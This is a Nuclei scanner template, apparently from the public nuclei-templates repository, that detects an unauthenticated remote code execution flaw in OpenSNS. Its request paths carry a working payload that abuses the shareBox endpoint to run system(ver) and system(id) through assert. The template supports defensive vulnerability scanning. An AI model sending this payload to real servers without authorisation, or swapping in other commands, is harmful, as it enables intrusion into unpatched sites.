nuclei-templates/http/vulnerabilities/other/opensns-rce.yaml

41 lines
1.4 KiB
YAML
Raw Normal View History

id: opensns-rce
info:
name: OpenSNS - Remote Code Execution
author: gy741
severity: critical
2022-05-31 09:19:47 +00:00
description: |
OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: opensns,rce
http:
- method: GET
path:
- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'
matchers-condition: and
matchers:
2021-07-07 13:00:15 +00:00
- type: regex
2022-05-31 09:19:47 +00:00
part: body
2021-07-07 13:00:15 +00:00
regex:
- "((u|g)id=)"
- "Microsoft Windows"
2021-07-07 13:00:15 +00:00
condition: or
- type: word
words:
- "/Application/"
- type: status
status:
- 200
# digest: 4a0a0047304502210081f7cd7d5435b07de487b7d57d012fc8118f4adbee9062c7d803c6af555cb0e3022055309d98a0bbb07ed3c399389c8cac30c274abe8e95b58622aa913c9750d589c:922c64590222798bb761d5b6d8e72950